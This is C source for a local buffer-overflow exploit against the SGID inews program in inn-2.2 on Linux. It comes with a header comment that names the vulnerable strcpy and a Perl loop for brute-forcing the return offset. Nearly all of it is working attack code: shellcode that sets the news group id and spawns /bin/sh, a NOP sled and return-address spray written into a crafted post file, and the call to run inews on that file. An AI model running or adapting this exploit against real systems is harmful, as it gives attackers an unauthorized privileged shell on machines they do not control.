/* (linux)inews[inn-2.2] buffer overflow, by Vade79->v9[
this will inews_bof.c
/* (linux)inews[inn-2.2] buffer overflow, by Vade79->v9[
this will give you a gid=news shell if /usr/bin/inews is SGID(news). i know
/usr/bin/inews comes default with versions of redhat, but i don't know about
other distributions.
cause (line601:inews.c): "(void)strcpy(from, HDR(_from));", use strncpy();
note: i found this while looking for a security hole in another program that
comes with inn, but it needs gid=news to run anyways. so this is a
bonus. also, you may want to clean up the defined TMPFILE afterwords.
after making this, i found another exploit of the same idea, this is
much more functional though.
the old perl script below for offset(s):
#!/usr/bin/perl
$i=$ARGV[0];
while(1){
print "offset: $i.\n";
system("./inews_bof $i");
$i+=100;
} */
#include <stdio.h>
#define NEWSGID 13 // the group id of news.
#define ALIGN 0 // return alignment.
#define PATH "/usr/bin/inews" // path to the inews program.
#define TMPFILE "/tmp/bad.post" // file to overflow inews buffer with.
#define SUBJECT "inews bug." // required file filler.
#define NEWSGROUP "alt.inn.bug" // required file filler.
#define DEFAULT_OFFSET 650 // usual offset.
static char exec[]=
"\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3"
"\x00" // yeah, group id of news here.
"\xcd\x80\x89\x76\x08\x31\xc0\x88\x46\x07"
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
"\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"
"\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x01"; // hex01 h00t!
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char bof[600]; // give or take a few. (528)
int i,offset,gid=NEWSGID;
long ret;
FILE *inewsfile;
if(argc>1){offset=atoi(argv[1]);}
else{offset=DEFAULT_OFFSET;}
ret=(esp()-offset);
for(i=ALIGN;i<600;i+=4){*(long *)&bof[i]=ret;}
exec[10]=gid;
for(i=0;i<(600-strlen(exec)-100);i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
unlink(TMPFILE); // clean house.
inewsfile=fopen(TMPFILE,"w");
fprintf(inewsfile,"From: %s\n",bof); // required, woops.
fprintf(inewsfile,"Newsgroups: %s\n",NEWSGROUP); // required.
fprintf(inewsfile,"Subject: %s\n\n",SUBJECT); // required.
fclose(inewsfile);
printf("[ return address: 0x%lx, offset: %d, actual size: %d(sc=%d). ]\n",ret,offset,strlen(bof),strlen(exec));
if(execlp(PATH,"inews","-h",TMPFILE,0)){
printf("%s: failed, is %s the correct path?\n",argv[0],PATH);
exit(-1);
}
}